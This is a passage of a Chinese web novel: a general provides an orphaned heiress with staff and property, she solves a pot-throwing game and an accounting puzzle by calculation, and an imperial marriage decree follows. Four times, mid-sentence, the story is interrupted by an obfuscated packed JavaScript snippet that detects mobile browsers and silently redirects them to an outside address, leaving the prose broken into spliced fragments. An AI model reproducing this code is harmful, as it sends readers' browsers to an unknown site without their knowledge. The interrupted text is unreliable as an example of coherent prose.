那是一位老嬷嬷，瞧着约莫五十多岁，头发梳得一丝不乱，在脑后绾成个光洁的圆髻，插一支简素的银簪。身上是深青色的袄裙，料子普通，浆洗得却极挺括，边角连一道多余的褶皱也无。她脸上皱纹细密，眼神却清亮，稳稳当当地站在那里，自有一股历经世事沉淀下来的从容气度。 “这位是常嬷嬷，”霍抉的声音比方才介绍沈知节时，又多了两分郑重，“早年是在宫里当差的，规矩礼仪、人情往来，都极通透。你身边……总得有个稳妥的人时时提点着才好。” 常嬷嬷闻言，上前两步，在姚知韫面前站定。她并未立刻行礼，而是先抬起眼，目光温煦、端正地落在姚知韫脸上，细细地看了一眼，那眼神里带着一种长辈般的审度，却不叫人觉得冒犯，倒像在确认一件久闻其名、终于得见的旧物。 然后，她才稳稳地屈膝，行了一个标准而丝毫不显拘谨的礼。 “老奴常氏，给姑娘请安。”她的声音不高，却有种玉石相击般的清晰质感，吐字不急不缓，听着便让人心安。 行完礼，她也不急着起身，依旧维持着微微屈膝的姿态，抬起眼，温声道：“往后姑娘屋里屋外、大事小情，您尽管吩咐。” 说罢，她才缓缓直起身子，依旧退回到霍抉身侧半步之后的位置，双手交叠在身前，姿态恭敬却自然，仿佛她天生就该站在那里。 姚知韫的目光，轻轻地落在常嬷嬷身上，又缓缓移开，望向院子里那棵沉默的老槐。 心里头， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144055|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先是掠过一丝极淡的、被妥善安排后的妥帖。霍抉做事，向来是这样。他不问你要不要，只把最合用的、最周全的，稳稳当当地放到你手边。芙蓉如此，沈知节与常嬷嬷亦是如此。像冬日里递过来的一只暖炉，不问你冷不冷，只让你接着。 这妥帖底下，却有一缕更细微怅然的凉意，像秋雨打湿的青石板，慢慢地洇开。 她明白霍抉的用意，她手上没人，母亲名下的产业又是一团乱麻，她有意整治，却也有心无力，如今有了沈知节，外面的事情便迎刃而解了，而常嬷嬷更是如此，她一个孤女，自己在家自然也没什么规矩，若是作为霍抉的妻子，自然不能像以往一样关在家里。 他们都是她目前必须的人。 可也正是这份“必需”，恰恰映照出她此刻的“无力”，她想要的自在清净，像捧在手里的清水，终究要从指缝间溜走，霍抉在用他的方式，将她妥帖地纳入一个更安全的“笼子”里，这个笼子金镶玉嵌，处处周到，可她仍是笼中鸟。 不过，还好，只有三年，三年后，她便自由了，那个时候，天高任鸟飞，海阔凭鱼跃。天大地大，她便可以随心所欲，肆意一生。 所以，霍抉的这份情，她必须承。 姚知韫深吸一口气，那气息凉丝丝的，直透肺腑，而后，她抬起眼，望向霍抉，脸上露出一个极淡的笑容来。 “将军思虑周全，”她声线清浅，像风吹过竹叶，“沈先生与常嬷嬷，都是极好的人选，往后——便要劳烦二位了。” 她转向常嬷嬷，笑意真切了些：“嬷嬷在宫里见多识广，往后我若有行差踏错之处，还望嬷嬷不吝指点。” 转身唤了小桃，妥帖地安排常嬷嬷。 又对沈知节微微颔首：“铺子里的事，琐碎繁杂，就有劳沈先生费心了，关于章程，我整理好再与您商讨。” 她的态度温和而明确，既表达了接纳，也划下了主从的界限。她不是被动接收的物件，而是即将启用这两位“能臣”的“东家”。这份悄然挺直的脊背，和话语里那份沉静的底气，让一旁静观的霍抉，眼底深处，掠过一丝极难察觉的、混合着欣赏与复杂情绪的光。 沈知节是外男，姚知韫便唤来了风叔，将人安顿在外院的厢房，一应起居用度都需备得周全。风叔办事妥帖，不多时便领着沈知节去了。 霍抉挥挥手，青木便上前将一个红木的箱子放在地上。 霍抉轻轻翻开，“这里是我的一些产业，有庄子，也有良田，还有铺子，之前都是沈知节在打理，以后交给你，这里还有我这些年存下的银票，都是四方钱庄的，你先收着，需要的话，便让沈知节取来。” 院子里复又安静下来。姚知韫理了理裙裾，正要起身，却被霍抉轻轻按回了摇椅里。 “不急。”他声音不高，带着一种尘埃落定后的沉稳。 他略一抬手，一直静候在月洞门外的青木便快步上前，将一个尺半见方的红木箱子稳稳放在地上。那箱子瞧着并不如何华丽，木质却极好，泛着经年摩挲后的暗沉光泽，边角的铜活儿也擦得锃亮。 22. 中秋 霍抉俯身，拨开小巧的铜扣，将箱盖轻轻掀开。 里头并无珠光宝气，只整整齐齐地码放着一摞摞文书契纸，用青布带子束着，分门别类，清爽利落。最上面是一叠庄子的地契，纸色有深有浅；底下露出铺面房契的一角，墨迹清晰；再往下，是厚厚一叠田亩册子，边角都磨得起了毛。 “这些，”霍抉的指尖在那些文书上轻轻掠过，像拂过经年的尘与光，“是我在北边这些年，陆续攒下的一点产业。有庄子，有田亩，也有几处铺面。先前都是知节在打理。” 他顿了顿，从文书最底下取出一个扁平的梨木匣子，打开来，里头是厚厚一沓银票，纸张挺括，边角齐整，每一张上都印着“四方钱庄”的朱红戳记。 “这些银票，你也收着。”他将木匣轻轻放在姚知韫手边的小几上，动作自然得像递过一盏茶，“要用时，便让知节去取现。或是有什么想添置、想打点的，也尽可支用。” 他说得平平淡淡，仿佛交出去的不是他半生戎马积攒下的家底，而是一册看过的闲书，一包未用完的茶叶。 姚知韫望着那敞开的红木箱子，又看看手边那匣沉甸甸的银票，一时没有作声。 她心里头，被什么东西轻轻撞了一下，不重，却闷闷的，余波一圈圈荡开，半晌也静不下来。 这不是椅前馈赠几匹缎子、几匣珠宝。这是庄子、田亩、铺面，还有不知数目但定然惊人的银子。这是安身立命的根本，是他拼命搏杀换来的。 他就这么平平淡淡地打开了，推到了她面前。这不仅仅是一笔财富，这是一份毫无保留的信任，一种近乎托付身家性命的联结。这份信任太沉了，沉得像秋天压弯枝头的果实，她看着，心里有些慌，怕接不住，也怕担不起。 她还未从这沉甸甸的震撼里完全醒过神，霍抉又开口了，语气随意地像是说晚间要添一道小菜。 “三日后，赐婚的圣旨也该到了，常嬷嬷是宫里出来的老人，规矩礼仪都熟，到时让她帮你张罗着。” “赐婚？” 姚知韫倏然抬眼，前几日德妃娘娘忽然召见几位闺秀，她也在其列，当时只觉有些突兀，此刻那画面在脑海里清晰起来——德妃含笑的目光在她脸上身上细细端详，问了几句家常，态度是说不出的和煦。原来根子在这里。 她略一沉吟，便也想通了其中关窍。她一个无依无靠的孤女，他从回京便径直住进了姚府。瓜田李下，就算当面无人敢置喙，背地里的口水怕早已能淹死人。多数人自然不敢得罪手握重兵的霍抉，所有的非议与脏水，最终只会泼向她这个“祸水”或“不知廉耻”的孤女。 即便他们日后成婚，这话只怕也不会好听。于她，是攀附权贵；于他，是恃强凌弱、侵占孤女家业。总有人能将一桩事，嚼出千百种不堪的滋味。 可若是有了“赐婚”，一切便不同了。那是皇命，是天恩，不可违逆。或许还能博来不少的同情。 他连这一层，都替她想好了，也安排妥了。 姚知韫望着眼前这个男人。他依旧那样坐着，身姿挺拔，面容平静，仿佛刚才几句话，只是交代了几件再寻常不过的家务事。他像是早将前路可能遇到的荆棘碎石都一一踏平了，铺上了石板，只等她稳稳当当地走过去。 为何？ 这个念头再次清晰地浮上来。为何要为她思虑至此？为何要将身家性命如此托付？那答案隐隐约约，呼之欲出，却又沉在一层她暂时不愿、或不敢去深究的迷雾之后。那里有她熟悉的戒备，也有某种陌生的、让她心头发慌的暖热。 她忽然有些坐不住了。 院子里静得很，静得能听见自己心里那点慌乱的搏动。霍抉还站在那里，目光沉静地望着她，像是在等，又像只是这样看着，就很好。 那目光太沉，那静默太长，那红木箱子和梨木匣子太实在——一切都像一张无声的、温柔的网，正缓缓收拢。 她蓦地站起身，动作有些急，带得摇椅前后晃了几下。 “我……我去准备些吃的。”她听见自己的声音，比平时快了一点，也干了一点，像要急于打破这片快要凝固的安静。 话未说完，人已转过身，几乎是逃也似的，朝着厨房的方向快步走去。裙裾拂过深秋微枯的草尖，发出细细碎碎的声响，像一串仓促的、泄露了心事的足音。 她没敢回头。只觉得背上那道沉静的目光，一直跟着，温温的，妥帖的，却让她从耳根到脖颈，都漫起一层不自知的、薄薄的红。 想着常嬷嬷和沈知节都在，姚知韫便又多择洗了几样菜蔬。 她想，既是中秋，又来了新人，总该热闹些才是。 一个人的冷清是清静，一群人的冷清便显得凄凉了。 她虽习惯了独自守着这宅院，却也记得幼时父母在时，逢年过节，厨房里蒸腾的烟气，还有父亲浑厚的笑声混在饭菜香气里，那种人间烟火、能把心都烘得软和起来。 于是案板上便多了碧绿的荇菜，嫩黄的鸡蛋，还有一小碗泡发好的木耳。她系上素布的围裙，袖子挽到肘间，露出两截细白的手腕。 锅里的油热了，滋啦一声，菜倒进去，顿时腾起一股带着生机的香气，混着葱姜的辛香，在厨房里弥漫开来。 天色已全然暗了，天空墨蓝墨蓝的，像一匹刚染好、还未干透的厚缎子。天心干干净净，没有一丝云，满天的星子便格外亮，也格外密，一颗挤着一颗，碎银子似的，洒得漫天都是。那月亮反倒成了陪衬，清清朗朗的一轮，光华温润，将院子里照得如同白昼，却又比白昼多了几分柔和的、水一样的静谧。 姚知韫见天色好，便让小桃将席面直接摆在了院子里的老槐树下。一张大圆桌，几张藤椅，碗筷杯碟在星月光辉下，泛着细碎的、安静的瓷光。 在稍微远一些的地方，放着两张矮些的方桌，几个粗瓷海碗，几把条凳，那是给做粗使伙计的仆役们预备的，他们都是爹娘留下的老人，从小也是看着姚知韫长大的，逢年过节，主家宽厚，总要叫他们也歇一歇，吃口安乐茶饭， 往日里府里人丁稀少，主仆总干事一桌吃了，图个热闹亲近，今日人多，有客，便也分了主次，拉开一些距离。 霍抉与沈知节依旧坐在原先的石凳上，聊着什么。常嬷嬷静静立在门边阴影里，像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148751|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守着什么规矩，又像在静静地听。 不多时，月亮门里的光晕晃动了一下。 姚知韫端着一只青花大盘走了出来。盘里是刚出锅的荇菜炒鸡蛋，碧绿衬着嫩黄，油光水亮，热气蓬蓬地往上冒，在清冷的星光月色里，腾起一团格外诱人的、带着镬气的白雾。 那热气拂过她的脸颊，将她的眉眼也熏得柔和了，褪去了平日的淡静，添了一丝人间烟火的暖意。 她将盘子放在星光下的圆桌上，直起身，望了望头顶的星河，又看了看围桌而坐或静立等候的几人，唇角轻轻弯了弯： “沈先生与常嬷嬷，二位初到姚府，可既然进了这道门，往后的日子还长，便是自己人，”她顿了顿，目光在常嬷嬷端凝的面容和沈知节沉静的侧影上停留了一瞬。 “今日是中秋节，团圆的日子。那些规矩礼数，咱们暂且放一放。”她说着，伸手虚引向空着的座位，“都请入座吧。随意些，自在些，过完了节，再说不迟。” 姚知韫说着将一盘刚烙好的鲜肉月饼摆上桌，那月饼是苏式的，酥皮，一碰就簌簌地往下掉渣，饼子烤得正好，金黄的底，微微有些焦脆的边，热气蓬蓬，混着猪油与葱姜的咸香，倒是将院子里过于殷勤的桂花甜，压下去几分。 小桃和芙蓉跟在姚知韫的身后，端着几盘清爽的菜肴，一碗火腿冬瓜汤，汤色清凉，面上只浮着几点金黄的油星子。 霍抉坐在石凳上，手里托着一盏茶，是今年的秋茶，不算顶好，但焙火足，闻着有一股焦香，他没喝，只那么看着茶汤里沉沉浮浮的叶子，像是瞧什么有趣的景致。 沈知节在稍远些的地方，正帮着风叔摆弄一盆晚开的菊花，话不多，偶尔应一声，声音也是平平的。 常嬷嬷如何也不肯坐，也在不远处站着，腰背挺得笔直，像一棵习惯了风雪的松，她的目光，却不声不响地，把这院子里的人、物、光景，都轻轻地筛了一遍，最后落回姚知韫身上，眼角那些细密的皱纹，微微地的舒展开，这姑娘做事，有静气，不慌、不乱，像春水漫过石子，自有它的章法。 小桃最是快活，端菜，摆筷子，步子又轻又急，像只偷了油吃的小雀儿。 姚知韫则是淡淡的笑着，今年的中秋节，比往年要热闹很多，她心里没来由的有些欢喜，说起来她是喜欢热闹的，只是以前身体不允许，后来是环境有约束。 “都坐吧！” 这话说得温和，却又带着一种不容推拒的、家主般的妥帖。既给了新来者体面与接纳，也彰显了主人的宽厚。 沈知节与常嬷嬷不着痕迹的望向霍抉，霍抉不动声色的点点头，两人便也不再推辞。 常嬷嬷眼底掠过一丝极淡的微光，她不再推辞，上前一步，敛衽一礼：“谢姑娘体恤。”便在那空位上端端正正坐了，腰背依旧挺直，神色却松缓了些。 沈知节缓缓走过来，对姚知韫和霍抉分别一揖，声音平稳清晰：“谢姑娘，谢将军。”言罢，也在末座安静落座，姿态依旧规整，却不再显得那般疏离。 而小桃和风叔本就习惯了过节的时候，和姑娘一起入席，便也从善如流地坐下。 23. 计算着投壶 “你先。”霍抉从那筒箭里抽出一支，递到她面前。 姚知韫接过箭，并不急着投。她走到画定的界线后，将箭杆在指间转了转，目光投向对面的铜壶。夜风很轻，月光把壶颈的影子拉得细长。她微微侧身，左脚略略前踏，右手持箭齐肩，左手则虚虚地指向壶口。嘴唇无声地翕动，像是在默念着什么。 这般比划了半晌，她才终于站定，像个找到了最精准角度的工匠。 霍抉在一旁看着，眼底的笑意深了些，含着纵容。罢了，他想，待会儿自己投时，力道收着些，角度偏着些，总要让她也中几支，小姑娘家，面子上须过得去。 就在霍抉与沈知节心中已落下定论之时，姚知韫动了。 她甚至没有一个众人常见的、聚力而发的姿势。只是手腕看着极随意地一抬，指尖轻轻一送。 那支竹箭便离了手。 它飞得并不迅疾，甚至显得有些悠然，在空中划出的弧线异常饱满、圆润，像一道被月光洗过的、舒缓的拱桥。 “嗒。” 一声极清脆、又极沉稳的轻响。竹箭不是撞进去的，是顺着那壶颈的内壁，滑溜溜地，一路旋进了壶底，安安静静地躺在了正中央。 院子里蓦地一静。 姚知韫脸上没什么波澜，又从箭筒里抽出一支。同样的打量，同样的默然比划，同样的、看似随意的出手。 第二支箭，紧挨着第一支，落定。 接着是第三支、第四支——。 四支竹箭在壶底紧紧挨着，箭尾微微颤动，像秋草梢头的一点白露。 没有一支落空。 没有一丝勉力。 霍抉脸上那点从容的、准备相让的笑意，缓缓地凝住了。沈知节环抱的手臂不知何时已放下，站直了身子。 月光清清白白地照着。照着壶中那三支箭，也照着扔完箭后，轻轻拍了拍手，神色依旧淡然的姚知韫。 霍抉的目光，第一次带着一种纯粹的、审视般的锐利，重新落在她身上。 她是如何做到的？ 霍抉没说话，只将手里那四支竹箭，也一并递了过去。竹节温润，还带着他掌心的微温。 姚知韫笑了笑，接过来。她也不多看，只依着方才的样子重复了一遍，最后四支竹箭，也稳稳地落了进去。 她拍拍手，然后转向霍抉，眉眼一弯，做了个“请”的姿态，还调皮地朝着他眨了眨眼睛。 霍抉接过空了的箭筒，目光却未从她脸上移开。那目光沉沉的，她方才那番举动里，有种东西，和他所熟知的任何一种“技艺”都不同。 游戏的热闹渐渐散了，仆役们领了赏，欢天喜地地退到廊下。 姚知韫便又坐回她那把藤椅里，端起茶盏慢慢地呷。霍抉跟了过去，沈知节略一迟疑，也踱步过来，立在霍抉身侧半步的地方。 院子里一时只剩下风过叶梢的沙沙声，和远处隐约的、满足的笑语。 先开口的是沈知节。他声音不高，却盈满疑惑：“姑娘方才的投壶，手法实在精妙。恕某唐突，敢问……是如何做到的？” 霍抉没动，只将视线落在姚知韫握着茶盏的手上，指尖莹白，稳稳的。 他也等着。 姚知韫放下茶盏，瓷底碰着木桌，轻轻一声。她抬起眼，目光澄澈。 “也没什么，”她声音平平的，像在说一件顶寻常的事，“人站定的位置，与那铜壶之间的距离，铜壶自身的高度——这几样东西合在一处，物件抛出去，总归是走一道弧线的。只要把这弧线……算得准些，投进去，想来也不是太难的事吧？” 她话说得轻巧，甚至有些过于轻描淡写了。仿佛在说的不是百发百中的绝技，而是明日该添一件什么样的衣裳。 话音落下，院子里静了一霎。 霍抉与沈知节的目光，在空中极快地碰了一下，又各自垂下。 他们都是从最精微的算计与谋划里走过来的人，立刻便听懂了这话底下，那骇人的分量。 所以，她不是“投”进去的。 她是——算出来的？ 沈知节再看向姚知韫时，眼神已彻底不同了。先前霍抉让他辅助姚知韫时，他心里多少存着些迁就与打量，还有心底那丝的不悦，似乎也烟消云散了。 他甚至开始期待，往后在这位新主子手底下办事，会生出什么惊喜来？ 这年月的女子，识字晓账本，已算体面。可精到能算清投壶弧线的，他沈知节走南闯北这些年，确是第一回见。 “姑娘，通筹算之术？”沈知节问了这话，自己倒先顿了顿，似乎也感受到了不妥之处。 姚知韫将手里的青瓷盏转了转，盏壁上凝着的水珠滑出一道极细的痕。她没抬头，只应了一声：“略知一二。” 略知一二——，沈知节听着，唇角几不可察地动了一下。他从袖中取出一卷薄纸，纸边已磨得起了毛。上头记着一笔北境军粮的糊涂账：领的是足额的米与麦，可到分发时，装米的麻袋与装麦的麻袋不知怎的混在了一处。只知麻袋总数与粮石总数，却再算不清米、麦各几何。这案子兜转到了他手里，很费了些灯油与思量。 他将纸卷在石桌上轻轻摊开，目光却先掠向了一旁的霍抉。话到嘴边，忽觉唐突——哪有拿这等兵粮辎重的琐事，去搅扰深闺女子清听的道理？可她那手“算”出来的投壶，像根极细的羽毛，在他心尖最警觉处，不轻不重地搔了一下。不问，心里总归梗着什么。 霍抉没作声，只将身子往后微微一仰，靠在藤椅疏朗的靠背上。月光落了他半身，将那玄色袍子照得泛起一层幽微的、水一样的光。他的视线在沈知节微绷的侧脸上停了停，便静静地、沉沉地，落到了姚知韫低垂的眼睫上。那姿态，是一种默许，更像一场不动声色的观阵。 姚知韫目光落在纸卷上那几行数字上，看了片刻。她没急着说话，只朝小桃招了招手。小桃会意，忙不迭去取了纸笔来，一方素宣，一管狼毫。她将纸在面前铺平，镇纸压好，笔尖在砚台里润了润。 院子里静得很，只听得见秋虫最后的吟唱，和笔尖蘸墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152880|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时极细微的沙沙声。 她提起笔，笔尖悬在素宣上方，凝着一点饱满的墨。眼帘微微垂着。半晌，她没有说一个字，只是手腕轻移，笔尖落下，在纸上留下一串流利而陌生的符号，笔迹清隽，排列齐整。 她搁下笔，用指尖将纸轻轻推过去。墨迹未干，泛着润润的乌光，那几行符号疏朗有致，干干净净，倒像一幅极简的、无人能解的棋谱。 “米袋该是多些的，麦袋少些。具体是——”，她报了那两个数字。声音落在秋夜的寂静里，不重，像两颗打磨得极圆润的玉石子，轻轻叩在青石板上。 说完，她眼帘一抬，目光澄澈地掠向沈知节，那一瞬间，她眼底有种极淡，却不容错辨清亮的光，一闪而过，不是得意，也非炫耀，就是一种无法言语的从容笃定。 心底，一丝极隐约的优越，像水底的泡泡，悄悄浮起，又迅速被她按下去，她敬重古人，那些智慧，浩如烟海，精微处令人叹服。可后世那上千年，无数心智淬炼出的数学山河，而她终究是幸运的站在了更高的山峦上，望见了更远的风光。 她本不欲露这些痕迹。日子么，像檐下的水滴，一滴是一滴，安安稳稳地落下去，便是最好。可沈知节往后是要替她掌着那些产业账册的，虽说是霍抉遣来的人，情面与信任都在那儿，但若要他真正心服口服地为她所用，单凭这点情面，不够。 沈知节面上恭谨，骨子里文人的那点清傲与审度，她看得懂，而她得让他知道，她也没那么好糊弄。 沈知节背脊几不可察地僵直了一瞬。昨日他核验那笔账，耗去了大半日光景，反复验算，才得出那两个分毫不差的数目。此刻于她却是如此的简单， 再看那纸上他全然陌生的符号，他看不懂那些弯绕的线条与古怪的排列，可他认得紧随其后的、用端正小楷写下的那两个结果。那是他熟悉的文字，代表着他昨日苦心孤诣求得的答案。 霍抉端起自己那盏早已凉透的茶，送到唇边，却没喝。 他的目光透过氤氲不再的茶汤，定定地锁在姚知韫的脸上。她说完，便又低下头去，用指尖拂了拂裙面上并不存在的褶皱，安静得仿佛刚才只是说了句“今夜月亮很圆”。 沈知节沉默良久，才缓缓吁出一口气，那气息在凉夜里凝成一团淡淡的白雾。“姑娘……大才。”这四个字，他说得极慢，极沉，每个字都像是从肺腑里斟酌着掏出来的。 姚知韫只是摇摇头，笑容里透出点真实的腼腆来：“不过是拾人牙慧，照着前人的法子比划罢了，当不起先生一赞。” 霍抉终于将那口凉茶咽了下去。冰凉的液体滑过喉咙，却浇不灭心头骤然腾起的那簇幽暗的火苗。 赏菊宴上那两句诗句，今日的筹算之术，她身上究竟还藏着多少不为人知的秘密？ 他看着她被月光勾勒得格外柔和的侧影，第一次如此清晰地意识到： 他两世念念不忘、竭力想要护在羽翼下的，或许从来不是一只需要庇护的雀鸟。 而是一座他尚未探明深浅的、静默的宝藏。 24. 赐婚 夜风骤起，垂的廊下灯笼一阵摇晃，光影乱舞，将那满院的清辉也搅动起来，远处传来更夫悠长而苍凉的梆子声，一声又一声，敲破了秋叶的凉，也敲在各怀心思的人心上。 沈知节终于动了动，他将纸卷重新纳入袖中，可心底那些压抑不住的激动，却无论如何都无法忽略。 随即他抬起眼，看向姚知韫，嘴唇动了动，似是想说什么，他熟读圣贤书却屡考不中，最后只能转学理学，自认也是小有所成，可他在她那套精算面前，似乎不堪一击。 最终他只是郑重地，深深地揖了一礼。“姑娘，”只是这一礼比刚才显得尊敬得多了，他对她的轻慢，也彻底烟消云散了。 姚知韫受了这一礼，没有避让，也没有故作谦辞，她只是微微颔首，唇角挂着淡淡的笑意，在月色下，静谧也深不可测。 霍抉将这一切收在眼底，胸腔里那簇幽暗的火，愈演愈烈。 他看着她眉眼间那抹不自知的，却流转的耀眼清辉，看着她笔下流出的让沈知节屏息的玄奥符号，看着她端坐灯影里，周身笼着一层他人无法触及的光晕。 心底那个蛮横的念头，又一次攫住了他。 他想将她藏起来。 藏得严严实实、密不透风 他想独占。一寸光，一丝神采，都不想分给旁人看见。哪怕这个旁人是沈知节，是他倚重的臂膀，是他亲自引到她面前的人，也不行。 这念头来得汹涌，带着两世累积的偏执与失而复得后变本加厉的贪婪，烧得他喉咙发干。 “散了吧！” 他忽然开口，声音低沉一些，微微沙哑。 姚知韫闻言，便从藤椅里站起身，秋日的衣裙料子软，随着她的动作，流水般滑落，朝着霍抉与沈知节的方向微微颔首，算是别过，便转身朝内院走去。 步子依旧不紧不慢，裙裾拂过地面，留下一点淡淡的清茶香。 沈知节袖中的手，无意识地蜷了蜷，直起身将声音压低，“将军——，属下定当，尽心竭力。” 霍抉没有回答，他的目光，依旧锁在姚知韫身影消失的方向，眸色深得像此刻望不见底的夜空，所有的情绪都被那浓稠的墨色吞噬、沉淀。 他守了两世，踏过血海与忘川，才终于又将她守回这尚且温热的时光。 只是…… 他唇边的笑意深了一分，也涩了一分。 只是他守回来的这个人，这缕魂，似乎比他烙在心底、反复摩挲过千万遍的记忆，要不一样得多。 她熟悉的面容底下，是那片他从未真正窥见过的、浩瀚而耀眼的星图。 她不是需要他小心翼翼捧在掌心、呵着气护着的琉璃盏。 她本身就是光源。 这认知，让他心头那簇暗火，烧得愈发无声，也愈发……执拗。 圣旨送到姚府那日，天光晴好。宣旨太监身着绛紫宫袍，手捧明黄卷轴，那特有的、抑扬顿挫如戏文念白般的嗓音，在寂静的庭院里一字一句荡开， “……姚氏知韫，毓质名门，性秉柔嘉……赤衣侯霍抉，功在社稷，才堪栋梁……天作之合，特赐姻缘……钦此。” “姚氏知韫”与“赤衣侯霍抉”的名字，用最堂皇正大的天家口吻，牢牢绑在了一处。 末尾那句“天作之合，特赐姻缘”，更是给这桩看着不合理的婚姻，盖棺定论。 朱砂御笔，不仅严严实实地盖在了京中暗流涌动的流言蜚语上，更是斩断了不知多少双暗中窥探、蠢蠢欲动的手。 英国公府，一片死寂，孙氏对着满室沉寂，颓然的倒在宽大的座椅里，她“为子娶妻谋财”的算盘珠子尚未拨响，倒是先惹上了冯家那块甩不脱的烂泥，苏姨母这些日子一哭二闹三上吊，甚至豁出脸面将事情闹到御前，最后她的平儿，堂堂英国公世子不得不娶一个六品官的女子为正妻，成了满京城的笑柄。 而孙氏不仅没能拿捏住姚知韫那金山银海，反倒被宋昭彻底厌弃，关进了这怡德院，她嫁进国公府，半生谋划，她不图这空了的国公府，只盼望着她的平儿能平步青云，可到头来却是竹篮打水，所求皆空。 而这一切的根源，孙氏眼底翻涌着淬毒般的恨意，连最后一丝体面也懒得维系。 都怪姚知韫那个小贱人。 还有苏家所存的那些心思，如今的姚知韫一步登天成了侯夫人，莫说拿捏，便是想再凑上前沾点光，也得掂量掂量自己脸面够不够大，那枚代表旧约的玉佩，别说是假的，就算是真的，在这煌煌天威面前，也不过是徒惹嗤笑，自取其辱。 那满腹算计与不甘，也只得硬生生咽回肚子里，灼得五脏六腑都在无声叫嚣。 崔维明听到赐婚圣旨，将手中书折重重地撂在桌面上，案上烛火猛地一晃，映得他眼底阴晴难辨。 “原来——如此。”声线沉冷，像冰层下暗涌的水，怪不得霍抉应受崔维则之邀，又在朝堂上出声维护他，可他筹谋这一切，难道只为一纸婚约？ 还是圣上授意？还是霍抉有其他心思？ 若是有其他心思，怎么会娶一个孤女？他难道不懂，崔家能给的远远比圣上要给的多，圣上年迈，早晚是要退位让贤的，二皇子有崔家支持，若是再加上霍抉，那便更是如虎添翼，而霍家也能东山再起。 看来是圣上对崔家起了心思了，想到这里，崔维明心底漫开了黏稠的寒意，顺着血液窜遍四肢百骸。 他漠然良久，才极慢地抬起眼，眸光已沉静如古井。 “毕方，备车，去明德书院。” 姚知韫接了旨，谢了恩，将那道沉甸甸的黄绫收好，秋阳正好，透过廊檐斜斜照下，晒得人肌肤生暖，却照不透她骨子里的寒意。 她缓缓抬首，望向天际，碧空如洗，湛蓝得没有一丝阴翳，干净得仿佛能映照出人心底所有的沟壑。 哪有什么天赐良缘？不过是帝王心术权衡下的落子，是霍抉顺势而为、推波助澜的结果。这道圣旨，是护身符，却也是将他二人更紧密地绑上皇权与朝堂博弈战车的绳索。 朝堂的暗流，从未停止，只会因利益格局的变动而更加汹涌诡谲。往后的路，不再是姚府后院的方寸清净，而是侯门似海，伴君如虎。她与霍抉，已是名副其实的夫妇一体，荣辱与共。 他若步步高升，她便是诰命加身，风光无限；他若行差踏错，万丈深渊之下，粉身碎骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158037|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也有她一份。 风息云散，真正的风波，或许才刚开始，她轻轻拢了拢衣袖，眼底静如深潭。 圣旨颁下，满城皆知。 姚知韫与赤衣侯的婚事，成了同光二十年秋末最轰动京城的谈资。 有人艳羡孤女好命一朝飞天，有人揣测婚事背后的黄泉博弈，也有人暗笑霍抉竟然娶了无依无靠的孤女。 这些流言蜚语如秋风过耳，姚知韫并未放在心上。 只是日子终究与从前不同了。 常嬷嬷将院中诸事料理得滴水不漏，又新挑了四五个伶俐的丫鬟小厮，正在廊下跟着学规矩，步履声、应答声，错落有致地织成一片井然有序的低韵。 沈知节那头也已将产业账册厘清脉络。如今她手中，除却母亲留下的铺面、田庄，更多了霍抉交托的那些——她名下多是京中及江南的铺面，涉猎绸缎、茶行、文墨诸业；霍抉交来的则多是北地的田庄、塞外的马场，乃至两条连通南北的商道。一南一北，一巧一稳，倒似无意间拼合出了一幅完整的商贸舆图。 今日午后，秋光澄澈。 姚知韫在书房见了沈知节。这是中秋宴后头一回正经议及商事。 她没有寒暄，待沈知节坐定，便直接开了口，声音清凌凌的，像檐下风铃： “西跨院已收拾出来了，那处有单独的门户，出入方便。往后你便在那边理事，名号我已想好——就叫‘归云楼’。” 沈知节抬眼，静候下文。 “归云楼内分三处：账房、采买、督导。”她指尖在案上虚虚一点，似在勾勒架构，“账房设两位总账，一位管账目清录，一位管银钱出入。京中所有产业的账房，一律移至归云楼当值。工钱比市面高出两成，但我要最好的人。须得住宿楼中，七日休一日，但账房不可空岗。” 